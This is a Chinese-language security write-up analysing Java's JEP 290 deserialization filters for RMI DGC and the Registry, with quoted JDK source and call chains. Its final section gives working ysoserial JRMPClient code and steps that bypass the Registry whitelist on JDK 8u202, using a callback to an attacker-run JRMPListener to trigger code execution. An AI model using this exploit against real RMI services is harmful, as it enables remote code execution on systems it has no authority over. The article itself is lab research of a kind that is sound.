JEP 290
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。
JEP 290 主要提供了以下几个机制:
- 用黑白名单的方式限制可反序列化的类;
- 限制反序列化的调用深度和复杂度;
- 为 RMI export 的对象设置了验证机制;
- 提供一个全局过滤器,可以在 properties 或配置文件中进行配置;
现在使用 JDK 8u392 ,再次运行 ysoserial 中的 payloads/JRMPListener 和 exploit/JRMPClient ,会爆出如下错误:
这在我之前的分析文章中也提到过,是由于 JEP 290 机制阻止了我反序列化 HashSet 类。
从报错信息中,可以发现一个 ObjectInputFilter 接口,其中定义了三种状态,分别是未定义、接受和拒绝:
另外从报错信息中发现 ObjectInputStream 有一个 filterCheck 方法,这个方法与反序列化的检查相关:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| private void filterCheck(Class<?> clazz, int arrayLength) throws InvalidClassException { if (serialFilter != null) { RuntimeException ex = null; ObjectInputFilter.Status status; // Info about the stream is not available if overridden by subclass, return 0 long bytesRead = (bin == null) ? 0 : bin.getBytesRead(); try { status = serialFilter.checkInput(new FilterValues(clazz, arrayLength, totalObjectRefs, depth, bytesRead)); } catch (RuntimeException e) { // Preventive interception of an exception to log status = ObjectInputFilter.Status.REJECTED; ex = e; } if (status == null || status == ObjectInputFilter.Status.REJECTED) { // Debug logging of filter checks that fail if (Logging.infoLogger != null) { Logging.infoLogger.info( "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}", status, clazz, arrayLength, totalObjectRefs, depth, bytesRead, Objects.toString(ex, "n/a")); } InvalidClassException ice = new InvalidClassException("filter status: " + status); ice.initCause(ex); throw ice; } else { // Trace logging for those that succeed if (Logging.traceLogger != null) { Logging.traceLogger.finer( "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}", status, clazz, arrayLength, totalObjectRefs, depth, bytesRead, Objects.toString(ex, "n/a")); } } } }
|
对于 DGC 的影响
具体体现在为 DGCImpl 新增了一个 checkInput 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) { if (dgcFilter != null) { ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { // The DGC filter can override the built-in white-list return status; } }
if (filterInfo.depth() > DGC_MAX_DEPTH) { return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null) { while (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } // Arrays are allowed depending on the component type clazz = clazz.getComponentType(); } if (clazz.isPrimitive()) { // Arrays of primitives are allowed return ObjectInputFilter.Status.ALLOWED; } return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; } // Not a class, not size limited return ObjectInputFilter.Status.UNDECIDED; }
|
- 如果定义了外部过滤器 dgcFilter,首先调用它进行判断。外部过滤器的优先级更高。
- 使用 DGC_MAX_DEPTH 和 DGC_MAX_ARRAY_SIZE 来限制深度和数组大小。
- 只有白名单类( ObjID,UID,VMID,Lease )允许被反序列化。
在 JDK 8u392 版本中,当我们尝试用 exploit/JRMPClient 攻击一个 RMI 服务端时,服务端的处理逻辑如下:
1 2 3 4 5
| TCPTransport#handleMessages(Connection, boolean) Transport#serviceCall(RemoteCall) UnicastServerRef#dispatch(Remote, RemoteCall) UnicastServerRef#oldDispatch(Remote, RemoteCall, int) DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)
|
然后会在这里调用 ObjectInputStream 的 readObject 方法:
跟进 ObjectInputStream#readObject() :
跟进 ObjectInputStream#readObject(Class<?>):
这里会调用 readObject0 方法。
跟进 ObjectInputStream#readObject0(Class<?>, boolean), readObject0 是一个用于反序列化 Java 对象的内部方法。它负责从输入流中读取不同类型的对象数据,并根据特定的标记(type codes)进行相应的处理和反序列化操作。当读取到的 type code 为 TC_OBJECT(表示普通对象)时,会进行如下操作:
跟进 ObjectInputStream#readOrdinaryObject(boolean),这个方法用于读取并返回普通对象:
跟进 ObjectInputStream#readClassDesc(boolean) ,这个方法用于返回一个类描述符:
进入非动态代理类的情况,调用 readNonProxyDesc 来获取类描述符。
跟进 ObjectInputStream#readNonProxyDesc(boolean) ,经过了一系列操作后,调用了 filterCheck 方法,就是我们一开始提到的那个:
跟进 ObjectInputStream#filterCheck(Class<?>, int) :
在这里调用 serialFilter.checkInput ,也就是 DGCImpl 的 checkInput 方法,完成闭环。
调用链总结
服务端处理的调用链如下:
1 2 3 4 5 6 7 8 9
| DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long) ObjectInputStream#readObject() ObjectInputStream#readObject(Class<?>) ObjectInputStream#readObject0(Class<?>, boolean) ObjectInputStream#readOrdinaryObject(boolean) ObjectInputStream#readClassDesc(boolean) ObjectInputStream#readNonProxyDesc(boolean) ObjectInputStream#filterCheck(Class<?>, int) DGCImpl#checkInput(ObjectInputFilter.FilterInfo)
|
对于 RMI 的影响
具体体现在为 RegistryImpl 类添加了一个 registryFilter 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) { if (registryFilter != null) { ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { // The Registry filter can override the built-in white-list return status; } }
if (filterInfo.depth() > REGISTRY_MAX_DEPTH) { return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null) { if (clazz.isArray()) { // Arrays are REJECTED only if they exceed the limit return (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE) ? ObjectInputFilter.Status.REJECTED : ObjectInputFilter.Status.UNDECIDED; } if (String.class == clazz || java.lang.Number.class.isAssignableFrom(clazz) || Remote.class.isAssignableFrom(clazz) || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) || UnicastRef.class.isAssignableFrom(clazz) || RMIClientSocketFactory.class.isAssignableFrom(clazz) || RMIServerSocketFactory.class.isAssignableFrom(clazz) || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) || java.rmi.server.UID.class.isAssignableFrom(clazz)) { return ObjectInputFilter.Status.ALLOWED; } else { return ObjectInputFilter.Status.REJECTED; } } return ObjectInputFilter.Status.UNDECIDED; }
|
如果存在一个全局的 registryFilter,那么会调用它的 checkInput 方法来检查是否允许反序列化当前对象。外部的 registryFilter 拥有高优先级,它可以覆盖接下来定义的内置白名单规则。
使用 REGISTRY_MAX_DEPTH 和 REGISTRY_MAX_ARRAY_SIZE 来限制深度和数组大小。
以及定义了一个明确的白名单,,如果反序列化对象的类型属于这个白名单中的类,则允许反序列化(ALLOWED)。
其调用链与 DGC 相似,只不过是在 RegistryImpl_Skel 的 dispatch 方法触发。不过值得注意的是,这个方法只对 bind 和 rebind 的处理逻辑有反序列化的操作。
bind 的处理逻辑:
rebind 的处理逻辑:
而对其他方法比如 list、lookup、unbind 的处理逻辑则是没有调用 readObject 方法的。也就是说这个新增的机制只影响 Server 端对 Registry 端的攻击,对其他的攻击没有影响。具体来说,就是只影响 bind 和 rebind 方法的结果。之前提到的针对 Server 端和 Client 端的攻击依然可行。
调用链总结
还是总结一下 Registry 端的处理逻辑:
1 2 3 4 5 6 7 8 9
| RegistryImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long) ObjectInputStream#readObject() ObjectInputStream#readObject(Class<?>) ObjectInputStream#readObject0(Class<?>, boolean) ObjectInputStream#readOrdinaryObject(boolean) ObjectInputStream#readClassDesc(boolean) ObjectInputStream#readProxyDesc(boolean) ObjectInputStream#filterCheck(Class<?>, int) RegistryImpl#registryFilter(ObjectInputFilter.FilterInfo)
|
除了中间调用的是 readProxyDesc 而不是 readNonProxyDesc 以外,跟 DGC 服务端的处理逻辑大差不差。
绕过分析
在白名单操作之后,Server 端想要向 Registry 端直接绑定一个 CC 链之类的恶意对象就不行了,但是之前提到的 RemoteObject + UnicastRef 还是可以用的。ysoserial 中的 exploit/JRMPListener 和 payloads/JRMPClient 就是对这一块的实现。
JDK 8u202 环境下,如果存在一个 Registry 端:
1
| Registry registry = LocateRegistry.createRegistry(1099);
|
那么就可以针对它展开攻击:
首先开启 exploit/JRMPListener 服务端,它的作用是当收到 DGC 请求时会返回 BadAttributeValueExpException 异常类,与 CC 有关的 payload 就被放置在这个异常类当中。
然后我们可以向 Registry 端 bind 一个 UnicastRef 对象,这个对象在白名单之中,它被反序列化时,会向其中指定的地址发起 DGC 调用请求。但是由于绑定的对象必须要继承 Remote 接口,所以利用 RemoteObjectInvocationHandler 为这个 UnicastRef 对象创建一个 Registry 代理类,Registry 继承了 Remote ,所以这个代理类可以被顺利绑定。
于是 Registry 端收到 exploit/JRMPListener 发来的异常,造成反序列化攻击。
修改后的 payloads/JRMPClient 用来实现第二步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package ysoserial.payloads;
import java.lang.reflect.Proxy; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; }
public static void main ( final String[] args ) throws Exception { JRMPClient jrmpClient = new JRMPClient(); // exploit/JRMPListener 开启监听的端口是 7777 Registry proxy = jrmpClient.getObject("127.0.0.1:7777"); Registry reg = LocateRegistry.getRegistry("localhost",1099); reg.rebind("hello", proxy); } }
|
运行 Registry 端,运行 exploit/JRMPListener ,最后运行 payloads/JRMPClient ,就可以完成对 Registry 端的攻击。
会一直弹出计算器,是因为 Registry 端不断地在向 exploit/JRMPListener 发起 DGC 调用请求,不断地收到异常类:
不过值得注意的是,上面的代码在更高一点的版本比如 8u392 就运行不成功,看来是过滤的更严格了:
参考文章
浅谈 JEP290
Java RMI 攻击由浅入深
RMI:绕过 JEP290 —— 上
RMI:绕过 JEP290 —— 中